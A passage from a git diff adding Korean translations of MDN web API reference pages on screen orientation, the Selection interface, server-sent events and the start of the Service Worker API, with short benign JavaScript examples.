+ <dd>기본 가로 모드 일 때 화면의 방향을 나타낸다. 화면은 정상위치 (normal position)가 가로이고 가로로 고정 되어 있으면 <span style="line-height: inherit;">기본 가로 모드 (primary landscape mode) 로 </span><span style="line-height: inherit;">간주된다. 만약 장치의 정상위치 (normal position)가 세로이면 장치가 시계방향으로 90° 돌렸을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.</span></dd>
+ <dt><code>landscape-secondary</code></dt>
+ <dd>보조 가로 모드 일 때 화면의 방향을 나타낸다. 화면은 정상위치에서 180° 로 고정 되어 있을 때 보조 가로 모드 (secondary landscape mode) 로 간주된다. 또는 정상위치가 세로 인 경우 장치가 반시계 방향으로 90° 회전 했을 때 이다. 정상 위치 (normal position) 는 장치에 의존한다.</dd>
+ <dt><code>portrait</code></dt>
+ <dd><code>portrait-primary</code> 와 <code>portrait-secondary 둘 다 이다.</code></dd>
+ <dt><code>landscape</code></dt>
+ <dd><code>landscape-primary</code> 와 <code>landscape-secondary 둘 다 이다.</code></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> 한번에 여러개의 고정 값을 가질 수 있다. 만약 한방향으로만 설정 하면 화면의 방향은 unlock 하기 전 까지는 절대로 변하지 않는다. 그렇지 않다면 (여러값을 가진 다면) 지정 된 방향들로 화면의 방향이 변할 것이다.</p>
+</div>
+
+<h3 id="Example" name="Example">Return value</h3>
+
+<p>성공적으로 고정 되었을 경우 <code>true</code> 를 반환한다. 고정 될 수 없다면 <code>false</code> 를 반환한다.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="eval">if (window.screen.mozLockOrientation("landscape-primary")) {
+  // orientation was locked
+} else {
+  // orientation lock failed
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}</td>
+   <td>{{ Spec2('Screen Orientation') }}</td>
+   <td>Draft specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Screen.lockOrientation")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.screen.orientation")}}</li>
+ <li>{{domxref("window.screen.unlockOrientation()")}}</li>
+ <li>{{domxref("window.screen.onorientationchange")}}</li>
+ <li><a href="/ko/docs/Managing_screen_orientation" title="/ko/docs/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
diff --git a/files/ko/web/api/screen/orientation/index.html b/files/ko/web/api/screen/orientation/index.html
new file mode 100644
index 0000000000..d77c14e6cb
--- /dev/null
+++ b/files/ko/web/api/screen/orientation/index.html
@@ -0,0 +1,120 @@
+---
+title: Screen.orientation
+slug: Web/API/Screen/orientation
+translation_of: Web/API/Screen/orientation
+---
+<p>{{APIRef("CSSOM View")}} {{SeeCompatTable}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p><code>orientation</code> 속성은 화면의 현재 방향을 알려 준다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 함수는 설치된 웹앱 또는 <a href="/ko/docs/Web/Guide/DOM/Using_full_screen_mode" style="line-height: 1.5em;" title="/ko/docs/Web/Guide/DOM/Using_full_screen_mode">full-screen mode</a> <span style="line-height: 1.5em;">의 웹페이지에서 동작한다.</span></p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval">var orientation = window.screen.orientation;
+</pre>
+
+<h2 id="Example" name="Example">Return value</h2>
+
+<p>리턴값은 화면의 방향을 표현하는 문자열이다. portrait-primary, portrait-secondary, landscape-primary, landscape-secondary 가 될 수 있다. (각 값들에 대해 좀 더 많은 정보를 구하려면 {{domxref("window.screen.lockOrientation","lockOrientation")}} 를 보라.).</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js">var orientation = screen.mozOrientation;
+
+if (orientation === "landscape-primary") {
+  console.log("That looks good.");
+} else if (orientation === "landscape-secondary") {
+  console.log("Mmmh... the screen is upside down!");
+} else if (orientation === "portrait-secondary" || orientation === "portrait-secondary") {
+  console.log("Mmmh... you should rotate your device");
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}</td>
+   <td>{{ Spec2('Screen Orientation') }}</td>
+   <td>Draft specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notes" name="Notes">Gecko notes</h3>
+
+<p>이 API 는 현재 초안 형태이다. 이것은 오직 <span style="line-height: inherit;">B2G 와 안드로이드용 Firefox 에서 </span><span style="line-height: inherit;">prefixed 함수인 (mozOrientation) 로만 구현된다.</span></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.screen.orientation")}}</li>
+ <li>{{domxref("window.screen.unlockOrientation()")}}</li>
+ <li>{{domxref("window.screen.onorientationchange")}}</li>
+ <li><a href="/ko/docs/Managing_screen_orientation" title="/ko/docs/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
diff --git a/files/ko/web/api/screen/unlockorientation/index.html b/files/ko/web/api/screen/unlockorientation/index.html
new file mode 100644
index 0000000000..bf4d3eb4d5
--- /dev/null
+++ b/files/ko/web/api/screen/unlockorientation/index.html
@@ -0,0 +1,62 @@
+---
+title: window.screen.unlockOrientation
+slug: Web/API/Screen/unlockOrientation
+translation_of: Web/API/Screen/unlockOrientation
+---
+<div>{{APIRef("CSSOM View")}}{{Deprecated_header}}</div>
+
+<p><strong><code>Screen.unlockOrientation()</code></strong> 함수는 이전의 page나 앱을 통해 지정한 화면 고정 값들을 모두 제거 한다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 이 함수는 설치된 웹앱 또는 <a href="/en-US/docs/Web/Guide/DOM/Using_full_screen_mode" title="/en-US/docs/Web/Guide/DOM/Using_full_screen_mode">full-screen mode</a> 의 웹 페이지들에서 동작한다..</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="eval">var unlocked = window.screen.unlockOrientation();
+</pre>
+
+<h3 id="Example" name="Example">Return value</h3>
+
+<p>성공적으로 unlocked 된 경우 <code>true</code> 를 반환하며, 만약 방향이 unlock 될 수 없다면 <code>false</code> 를 반환한다.</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="eval">if (window.screen.unlockOrientation()) {
+  // orientation was unlocked
+} else {
+  // orientation unlock failed
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}</td>
+   <td>{{ Spec2('Screen Orientation') }}</td>
+   <td>Draft specification</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Screen.unlockOrientation")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("window.screen.orientation")}}</li>
+ <li>{{domxref("window.screen.lockOrientation()")}}</li>
+ <li>{{domxref("window.screen.onorientationchange")}}</li>
+ <li><a href="/en-US/docs/Managing_screen_orientation" title="/en-US/docs/Managing_screen_orientation">Managing screen orientation</a></li>
+</ul>
diff --git a/files/ko/web/api/selection/index.html b/files/ko/web/api/selection/index.html
new file mode 100644
index 0000000000..a78be04801
--- /dev/null
+++ b/files/ko/web/api/selection/index.html
@@ -0,0 +1,209 @@
+---
+title: selection
+slug: Web/API/Selection
+tags:
+  - API
+  - Experimental
+  - Interface
+  - Reference
+  - Selection
+translation_of: Web/API/Selection
+---
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+
+<p>A <code><strong>Selection</strong></code> object represents the range of text selected by the user or the current position of the caret. To obtain a <code>Selection</code> object for examination or manipulation, call {{DOMxRef("window.getSelection()")}}.</p>
+
+<p>A user may make a selection from left to right (in document order) or right to left (reverse of document order). The <strong><dfn>anchor</dfn></strong> is where the user began the selection and the <strong><dfn>focus</dfn></strong> is where the user ends the selection. If you make a selection with a desktop mouse, the anchor is placed where you pressed the mouse button, and the focus is placed where you released the mouse button.</p>
+
+<div class="blockIndicator note">
+<p><em>Anchor</em> and <em>focus</em> should not be confused with the <em>start</em> and <em>end</em> positions of a selection. The anchor can be placed before the focus or vice-versa, depending on the direction you made your selection.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{DOMxRef("Selection.anchorNode")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the {{DOMxRef("Node")}} in which the selection begins. Can return <code>null</code> if selection never existed in the document (e.g., an iframe that was never clicked on).</dd>
+ <dt>{{DOMxRef("Selection.anchorOffset")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a number representing the offset of the selection's anchor within the <code>anchorNode</code>. If <code>anchorNode</code> is a text node, this is the number of characters within anchorNode preceding the anchor. If <code>anchorNode</code> is an element, this is the number of child nodes of the <code>anchorNode</code> preceding the anchor.</dd>
+ <dt>{{DOMxRef("Selection.focusNode")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the {{DOMxRef("Node")}} in which the selection ends. Can return <code>null</code> if selection never existed in the document (for example, in an <code>iframe</code> that was never clicked on).</dd>
+ <dt>{{DOMxRef("Selection.focusOffset")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a number representing the offset of the selection's anchor within the <code>focusNode</code>. If <code>focusNode</code> is a text node, this is the number of characters within <code>focusNode</code> preceding the focus. If <code>focusNode</code> is an element, this is the number of child nodes of the <code>focusNode</code> preceding the focus.</dd>
+ <dt>{{DOMxRef("Selection.isCollapsed")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a Boolean indicating whether the selection's start and end points are at the same position.</dd>
+ <dt>{{DOMxRef("Selection.rangeCount")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the number of ranges in the selection.</dd>
+ <dt>{{DOMxRef("Selection.type")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns a {{DOMxRef("DOMString")}} describing the type of the current selection.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{DOMxRef("Selection.addRange()")}}</dt>
+ <dd>A {{DOMxRef("Range")}} object that will be added to the selection.</dd>
+ <dt>{{DOMxRef("Selection.collapse()")}}</dt>
+ <dd>Collapses the current selection to a single point.</dd>
+ <dt>{{DOMxRef("Selection.collapseToEnd()")}}</dt>
+ <dd>Collapses the selection to the end of the last range in the selection.</dd>
+ <dt>{{DOMxRef("Selection.collapseToStart()")}}</dt>
+ <dd>Collapses the selection to the start of the first range in the selection.</dd>
+ <dt>{{DOMxRef("Selection.containsNode()")}}</dt>
+ <dd>Indicates if a certain node is part of the selection.</dd>
+ <dt>{{DOMxRef("Selection.deleteFromDocument()")}}</dt>
+ <dd>Deletes the selection's content from the document.</dd>
+ <dt>{{DOMxRef("Selection.empty()")}}</dt>
+ <dd>Removes all ranges from the selection. This is an alias for <code>removeAllRanges()</code> — See {{DOMxRef("Selection.removeAllRanges()")}} for more details.</dd>
+ <dt>{{DOMxRef("Selection.extend()")}}</dt>
+ <dd>Moves the focus of the selection to a specified point.</dd>
+ <dt>{{DOMxRef("Selection.getRangeAt()")}}</dt>
+ <dd>Returns a {{DOMxRef("Range")}} object representing one of the ranges currently selected.</dd>
+ <dt>{{DOMxRef("Selection.modify()")}}{{Non-standard_Inline}}</dt>
+ <dd>Changes the current selection.</dd>
+ <dt>{{DOMxRef("Selection.removeRange()")}}</dt>
+ <dd>Removes a range from the selection.</dd>
+ <dt>{{DOMxRef("Selection.removeAllRanges()")}}</dt>
+ <dd>Removes all ranges from the selection.</dd>
+ <dt>{{DOMxRef("Selection.selectAllChildren()")}}</dt>
+ <dd>Adds all the children of the specified node to the selection.</dd>
+ <dt>{{DOMxRef("Selection.setBaseAndExtent()")}}</dt>
+ <dd>Sets the selection to be a range including all or parts of two specified DOM nodes, and any content located between them.</dd>
+ <dt>{{DOMxRef("Selection.setPosition()")}}</dt>
+ <dd>Collapses the current selection to a single point. This is an alias for <code>collapse()</code> — See {{DOMxRef("Selection.collapse()")}} for more details.</dd>
+ <dt>{{DOMxRef("Selection.toString()")}}</dt>
+ <dd>Returns a string currently being represented by the selection object, i.e. the currently selected text.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="String_representation_of_a_selection">String representation of a selection</h3>
+
+<p>Calling the {{DOMxRef("Selection.toString()")}} method returns the text contained within the selection, e.g.:</p>
+
+<pre class="brush: js notranslate">var selObj = window.getSelection();
+window.alert(selObj);
+</pre>
+
+<p>Note that using a selection object as the argument to <code>window.alert</code> will call the object's <code>toString</code> method.</p>
+
+<h3 id="Multiple_ranges_in_a_selection">Multiple ranges in a selection</h3>
+
+<p>A selection object represents the {{DOMxRef("Range")}}s that the user has selected. Typically, it holds only one range, accessed as follows:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:js notranslate"><code>var selObj = window.getSelection();
+var range  = selObj.getRangeAt(0);</code></pre>
+</div>
+
+<ul>
+ <li><code><var>selObj</var></code> is a Selection object</li>
+ <li><code><var>range</var></code> is a {{DOMxRef("Range")}} object</li>
+</ul>
+
+<p>As the <a href="http://www.w3.org/TR/selection-api/#h_note_15">Selection API specification notes</a>, the Selection API was initially created by Netscape and allowed multiple ranges (for instance, to allow the user to select a column from a {{HTMLElement("table")}}). However, browsers other than Gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range.</p>
+
+<h3 id="Selection_and_input_focus">Selection and input focus</h3>
+
+<p>Selection and input focus (indicated by {{DOMxRef("Document.activeElement")}}) have a complex relationship that varies by browser. In cross-browser compatible code, it's better to handle them separately.</p>
+
+<p>Safari and Chrome (unlike Firefox) currently focus the element containing selection when modifying the selection programmatically; it's possible that this may change in the future (see <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=14383">W3C bug 14383</a> and {{WebKitBug("38696")}}).</p>
+
+<h3 id="Behavior_of_Selection_API_in_terms_of_editing_host_focus_changes">Behavior of Selection API in terms of editing host focus changes</h3>
+
+<p>The Selection API has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for <dfn>editing hosts</dfn> after certain methods are called.</p>
+
+<p>The behavior is as follows:</p>
+
+<ol>
+ <li>An editing host gains focus if the previous selection was outside of it.</li>
+ <li>A Selection API method is called, causing a new selection to be made with the selection range inside the editing host.</li>
+ <li>Focus then moves to the editing host.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: The Selection API methods may only move focus to an editing host, not to other focusable elements (e.g., {{HTMLElement("a")}}).</p>
+</div>
+
+<p>The above behavior applies to selections made using the following methods:</p>
+
+<ul>
+ <li>{{DOMxRef("Selection.collapse()")}}</li>
+ <li>{{DOMxRef("Selection.collapseToStart()")}}</li>
+ <li>{{DOMxRef("Selection.collapseToEnd()")}}</li>
+ <li>{{DOMxRef("Selection.extend()")}}</li>
+ <li>{{DOMxRef("Selection.selectAllChildren()")}}</li>
+ <li>{{DOMxRef("Selection.addRange()")}}</li>
+ <li>{{DOMxRef("Selection.setBaseAndExtent()")}}</li>
+</ul>
+
+<p>And when the {{DOMxRef("Range")}} is modified using the following methods:</p>
+
+<ul>
+ <li>{{DOMxRef("Range.setStart()")}}</li>
+ <li>{{DOMxRef("Range.setEnd()")}}</li>
+ <li>{{DOMxRef("Range.setStartBefore()")}}</li>
+ <li>{{DOMxRef("Range.setStartAfter()")}}</li>
+ <li>{{DOMxRef("Range.setEndBefore()")}}</li>
+ <li>{{DOMxRef("Range.setEndAfter()")}}</li>
+ <li>{{DOMxRef("Range.collapse()")}}</li>
+ <li>{{DOMxRef("Range.selectNode()")}}</li>
+ <li>{{DOMxRef("Range.selectNodeContents()")}}</li>
+</ul>
+
+<h3 id="Glossary">Glossary</h3>
+
+<p>Other key terms used in this section.</p>
+
+<dl>
+ <dt>anchor</dt>
+ <dd>The anchor of a selection is the beginning point of the selection. When making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. As the user changes the selection using the mouse or the keyboard, the anchor does not move.</dd>
+ <dt>editing host</dt>
+ <dd>An editable element (e.g., an HTML element with {{htmlattrxref("contenteditable")}} set, or the HTML child of a document that has {{DOMxRef("Document.designMode", "designMode")}} enabled).</dd>
+ <dt>focus of a selection</dt>
+ <dd>The <dfn>focus</dfn> of a selection is the end point of the selection. When making a selection with a mouse, the focus is where in the document the mouse button is released. As the user changes the selection using the mouse or the keyboard, the focus is the end of the selection that moves.
+ <div class="note">This is not the same as the focused <em>element</em> of the document, as returned by {{DOMxRef("document.activeElement")}}.</div>
+ </dd>
+ <dt>range</dt>
+ <dd>A <dfn>range</dfn> is a contiguous part of a document. A range can contain entire nodes as well as portions of nodes (such as a portion of a text node). A user will normally only select a single range at a time, but it's possible for a user to select multiple ranges (e.g., by using the <kbd>Control</kbd> key). A range can be retrieved from a selection as a {{DOMxRef("range")}} object. Range objects can also be created via the DOM and programmatically added or removed from a selection.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selection API", "#selection-interface", "Selection")}}</td>
+   <td>{{Spec2("Selection API")}}</td>
+   <td>The Selection API specification is based on the HTML Editing APIs specification and focuses on the Selection-related functionality.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Selection")}}</p>
+
+<h3 id="Gecko_notes">Gecko notes</h3>
+
+<ul>
+ <li>Gecko/Firefox provide additional features, available to chrome (internal and add-on) code only. These are defined in {{Interface("nsISelectionPrivate")}}.</li>
+ <li>Mozilla source code: {{Source("dom/webidl/Selection.webidl")}}</li>
+ <li>{{DOMxRef("Selection.selectionLanguageChange()")}}{{Obsolete_Inline("gecko29")}} used to be exposed to the web content until Firefox 29</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{DOMxRef("Window.getSelection")}}, {{DOMxRef("Document.getSelection")}}, {{DOMxRef("Range")}}</li>
+ <li>Selection-related events: {{Event("selectionchange")}} and {{Event("selectstart")}}</li>
+ <li>HTML inputs provide simpler helper APIs for working with selection (see {{DOMxRef("HTMLInputElement.setSelectionRange()")}})</li>
+ <li>{{DOMxRef("Document.activeElement")}}, {{DOMxRef("HTMLElement.focus()")}}, and {{DOMxRef("HTMLElement.blur()")}}</li>
+</ul>
diff --git a/files/ko/web/api/selection/tostring/index.html b/files/ko/web/api/selection/tostring/index.html
new file mode 100644
index 0000000000..3048c8a65f
--- /dev/null
+++ b/files/ko/web/api/selection/tostring/index.html
@@ -0,0 +1,58 @@
+---
+title: Selection.toString()
+slug: Web/API/Selection/toString
+translation_of: Web/API/Selection/toString
+---
+<div>
+<div>
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+</div>
+</div>
+
+<p><strong><code>Selection.toString()</code></strong> 메소드는 selection 객체가 현재 나타내는 문자열을 반환합니다. 즉, 현재 선택된 텍스트의 문자열.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>str</em> =<em> sel</em>.toString()
+</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A string representing the selection.</p>
+
+<h2 id="Description" name="Description">Description</h2>
+
+<p>This method returns the currently selected text.</p>
+
+<p>In <a href="en/JavaScript">JavaScript</a>, this method is called automatically when a function the selection object is passed to requires a string:</p>
+
+<pre class="brush: js">alert(window.getSelection()) // What is called
+alert(window.getSelection().toString())  // What is actually being effectively called.
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#dom-selection-stringifier', 'Selection.toString()')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{Compat("api.Selection.toString")}}</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}, the interface it belongs to.</li>
+</ul>
diff --git a/files/ko/web/api/server-sent_events/index.html b/files/ko/web/api/server-sent_events/index.html
new file mode 100644
index 0000000000..4b893570f8
--- /dev/null
+++ b/files/ko/web/api/server-sent_events/index.html
@@ -0,0 +1,77 @@
+---
+title: Server-sent events
+slug: Web/API/Server-sent_events
+tags:
+  - API
+  - Overview
+  - SSE
+  - Server-sent events
+translation_of: Web/API/Server-sent_events
+---
+<p>{{DefaultAPISidebar("Server Sent Events")}}</p>
+
+<p>전통적으로 웹페이지는 새로운 데이터를 받기 위해 서버로 요청을 보내야만 합니다; 서버로 데이터를 요청하는 방식입니다. 하지만 Server-Sent Events 방식으로 웹페이지의 요청 없이도 언제든지 서버가 새로운 데이터를 보내는 것이 가능합니다. 이렇게 보내진 메시지는 웹페이지 안에서 <em><a href="/en-US/docs/DOM/event">Events</a> + 데이터</em>로 다룰 수 있습니다.</p>
+
+<h2 id="기본_사용하기">기본 &amp; 사용하기</h2>
+
+<p>Server-Sent Events를 배우려면 다음 글을 읽어보세요: <a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events">Server-Sent Events 사용하기</a>.</p>
+
+<h2 id="Interfaces" name="Interfaces">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("EventSource")}}</dt>
+ <dd>서버와의 연결, 이벤트/데이터, 에러 받아오기, 연결 종료하기 등을 다루는 모든 기능을 정의하고 있습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<ul>
+ <li><a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">PHP를 이용하여 구현한 간단한 SSE 데모</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">더 찾아보기</h2>
+
+<h3 id="Tools" name="Tools">도구</h3>
+
+<ul>
+ <li><a href="https://github.com/EventSource/eventsource">Node.js를 위한 EventSource 폴리필</a></li>
+ <li>Remy Sharp의 <a class="link-https" href="https://github.com/remy/polyfills/blob/master/EventSource.js">EventSource 폴리필</a></li>
+ <li>Yaffle의 <a class="link-https" href="https://github.com/Yaffle/EventSource" title="https://github.com/Yaffle/EventSource">EventSource 폴리필</a></li>
+ <li>Rick Waldron <a class="link-https" href="https://github.com/rwldrn/jquery.eventsource">jquery 플러그인</a></li>
+ <li><a href="http://intercoolerjs.org/docs.html#sse">선언적인 SSE를 지원하는 </a>intercooler.js</li>
+</ul>
+
+<h3 id="Related_Topics" name="Related_Topics">관련 주제</h3>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a></li>
+ <li><a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+ <li><a href="/en-US/docs/WebSockets" title="WebSockets">WebSockets</a></li>
+</ul>
+
+<h3 id="그_외_자료">그 외 자료</h3>
+
+<ul>
+ <li>SSE로 구현된 <a href="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/" title="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/">Twitter 어플리케이션</a>과 <a class="link-https" href="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends%20timeline" title="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends timeline">깃허브에 공개된 소스코드</a>.</li>
+ <li><a href="http://dsheiko.com/weblog/html5-and-server-sent-events" title="http://dsheiko.com/weblog/html5-and-server-sent-events">HTML5와 Server-sent events</a></li>
+ <li><a href="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html" title="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html">Asp.net을 이용한 Server-Sent Events</a></li>
+</ul>
diff --git a/files/ko/web/api/service_worker_api/index.html b/files/ko/web/api/service_worker_api/index.html
new file mode 100644
index 0000000000..5047e10e89
--- /dev/null
+++ b/files/ko/web/api/service_worker_api/index.html
@@ -0,0 +1,175 @@
+---
+title: Service Worker API
+slug: Web/API/Service_Worker_API
+tags:
+  - API
+  - Landing
+  - Offline
+  - Overview
+  - Reference
+  - Service Workers
+  - Workers
+  - 서비스 워커
+  - 오프라인
+translation_of: Web/API/Service_Worker_API
+---
+<div>{{ServiceWorkerSidebar}}</div>
+
+<p>서비스 워커는 웹 응용 프로그램, 브라우저, 그리고 (사용 가능한 경우) 네트워크 사이의 프록시 서버 역할을 합니다. 서비스 워커의 개발 의도는 여러가지가 있지만, 그 중에서도 효과적인 오프라인 경험을 생성하고, 네트워크 요청을 가로채서 네트워크 사용 가능 여부에 따라 적절한 행동을 취하고, 서버의 자산을 업데이트할 수 있습니다. 또한 푸시 알림과 백그라운드 동기화 API로의 접근도 제공합니다.</p>
+
+<h2 id="서비스_워커의_개념과_사용법">서비스 워커의 개념과 사용법</h2>
+
+<p>서비스 워커는 출처와 경로에 대해 등록하는 이벤트 기반 <a href="/ko/docs/Web/API/Worker">워커</a>로서 JavaScript 파일의 형태를 갖고 있습니다. 서비스 워커는 연관된 웹 페이지/사이트를 통제하여 탐색과 리소스 요청을 가로채 수정하고, 리소스를 굉장히 세부적으로 캐싱할 수 있습니다. 이를 통해 웹 앱이 어떤 상황에서 어떻게 동작해야 하는지 완벽하게 바꿀 수 있습니다. (제일 대표적인 상황은 네트워크를 사용하지 못할 때입니다.)</p>
+
+<p>서비스 워커는 워커 맥락에서 실행되기 때문에 DOM에 접근할 수 없습니다. 또한 앱을 구동하는 주 JavaScript와는 다른 스레드에서 동작하므로 연산을 가로막지 않습니다(논 블로킹). 서비스 워커는 온전히 비동기적으로 설계됐으며, 그로 인해 동기적 <a href="/ko/docs/Web/API/XMLHttpRequest">XHR</a>이나 <a href="/ko/docs/Web/API/Web_Storage_API">웹 저장소</a> 등의 API를 서비스 워커 내에서 사용할 수 없습니다.</p>
+
+<p>서비스 워커는 보안 상의 이유로 HTTPS에서만 동작합니다. 네트워크 요청을 수정할 수 있다는 점에서 중간자 공격에 굉장히 취약하기 때문입니다. 또한 Firefox에서는 사생활 보호 모드에서 Service Worker API에 접근할 수 없습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 서비스 워커는 모든 것을 세부적으로 통제할 수 있다는 점에서 <a href="http://alistapart.com/article/application-cache-is-a-douchebag">AppCache</a> 등 오프라인이나 캐시의 이전 시도보다 우위를 점합니다. 서비스 워커는 개발자의 의도를 짐작하지 않으며, 예측과 빗나갔을 때 망가지지도 않기 때문입니다.</p>
+</div>
+
+<div class="note">
+<p><strong>참고</strong>: 서비스 워커는 응답을 기다린 후 성공 또는 실패 액션을 실행하는 경우가 많으므로 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Promise">프로미스</a>를 적극적으로 사용합니다.</p>
+</div>
+
+<h3 id="등록">등록</h3>
+
+<p>서비스 워커는 {{domxref("ServiceWorkerContainer.register()")}} 메서드를 사용해 처음 등록합니다. 성공적으로 등록한 경우 클라이언트가 서비스 워커를 다운로드하고, 출처 전체에 대해 혹은 개발자가 지정한 특정 주소들에 대해서 서비스 워커의 설치와 활성화(아래 구획 참고)를 시도합니다.</p>
+
